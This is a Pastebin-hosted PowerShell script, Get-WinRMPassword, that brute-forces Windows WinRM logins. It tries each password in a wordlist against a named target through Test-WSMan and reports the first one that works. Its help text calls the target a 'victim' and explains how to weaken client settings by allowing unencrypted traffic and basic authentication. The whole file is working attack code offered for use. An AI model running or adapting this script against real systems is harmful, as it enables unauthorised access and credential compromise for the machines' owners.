document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. Function Get-WinRMPassword {
  2. <#
  3. .SYNOPSIS
  4. Simple bruteforce attack upon a Windows machine running WinRM
  5.  
  6. .DESCRIPTION
  7. This CMDLet will perform a simplistic bruteforce attack upon a Windows Server or Client running WinRM in either a domain joined or workgroup configuration.
  8. The CMDLet will try each UserName + Password Combination until a sucessfuly entry is found or the list is exhausted. If nothing is output, then
  9.  
  10. .PARAMETER UserName
  11. The username you wish to gain entry with
  12.  
  13. .PARAMETER ComputerName
  14. Target machine
  15.  
  16. .PARAMETER wordlist
  17. String path to file containing list of words/passwords
  18.  
  19. .PARAMETER Authentication
  20. WinRM auth mechanism, defaults to Negotiate (should work on most systems). See the specifics of the Authentication parameter in test-wsman.
  21.  
  22. .PARAMETER UseSSL
  23. Specifies that the Secure Sockets Layer (SSL) protocol should be used to establish a connection to the remote
  24. computer. By default, SSL is not used.
  25.  
  26. .EXAMPLE
  27. get-winrmpassword -UserName Administrator -ComputerName myvictim -WordList c:\\mywordlist.txt
  28. Will read mywordlist.txt and for each entry in that list, try Administrator:<entry>
  29.  
  30. .NOTES
  31. If you are not in a domain joined (running workgroup), then you should do the following:
  32. 1. Add the "target" to the WinRM trusted hosts - winrm set winrm/config/client @{TrustedHosts="victim"}
  33. 2. You may need to enable "unencrypted" (http connections) - winrm set winrm/config/client @{AllowUnencrypted="true"}
  34. 3. You may need to enable basic auth - winrm set winrm/config/client/auth @{Basic="true"}
  35.  
  36. .INPUTS
  37. None
  38. This cmdlet does not accept any input.
  39.  
  40. .OUTPUTS
  41. None
  42. This cmdlet does not generate any output object
  43.  
  44. .LINK
  45. http://aperturescience.su/
  46.  
  47. #>
  48.  
  49. [CMDLetBinding()]
  50. param (
  51.   [Parameter(mandatory=$true)] [String] $username,
  52.   [Parameter(mandatory=$true)] [String] $ComputerName,
  53.   [Parameter(mandatory=$true)] [String] $wordlist,
  54.   [String] $Authentication = "Negotiate",
  55.   [switch] $UseSSL
  56. )
  57.  
  58. #read word list (consider pipeline for performance)
  59. $wordlistentries = Get-Content $wordlist
  60.  
  61. foreach ($entry in $wordlistentries) {
  62.     Write-Verbose "Trying $entry"
  63.    
  64.     #make a secure string, and then a pscredentials object with username and password
  65.     $securepassword = ConvertTo-SecureString $entry -AsPlainText -Force
  66.     $pscredentials = New-Object System.Management.Automation.PSCredential ($username, $securepassword)
  67.    
  68.     #clear error listing
  69.     $Error.clear()
  70.    
  71.     #run the test, taking into account the SSL status
  72.     if ($UseSSL) {
  73.         Test-WSMan -ComputerName $ComputerName -Credential $pscredentials -Authentication $Authentication -erroraction SilentlyContinue -UseSSL | Out-Null
  74.     } else {
  75.         Test-WSMan -ComputerName $ComputerName -Credential $pscredentials -Authentication $Authentication -erroraction SilentlyContinue | Out-Null
  76.     }
  77.    
  78.     #put the first error into a variable (best practice)
  79.     $ourerror = $error[0]
  80.    
  81.     # if there is no error, then we were successfull, else, was it a username or password error? if it wasn\'t username/password incorrect, something else is wrong so break the look
  82.     if ($ourerror -eq $null) {
  83.         "Password Found: $entry"
  84.         break
  85.     } elseif (-not $ourerror.ErrorDetails.Message.Contains("The user name or password is incorrect.")) {
  86.         "Check the settings, confirm host is in TrustedHosts, confirm hostname, check for SSL etc, $($ourerror.ErrorDetails.Message)"
  87.         break
  88.     } else {
  89.         Write-Debug "$($ourerror.ErrorDetails.Message)"
  90.     }
  91. }
  92.    
  93. }
');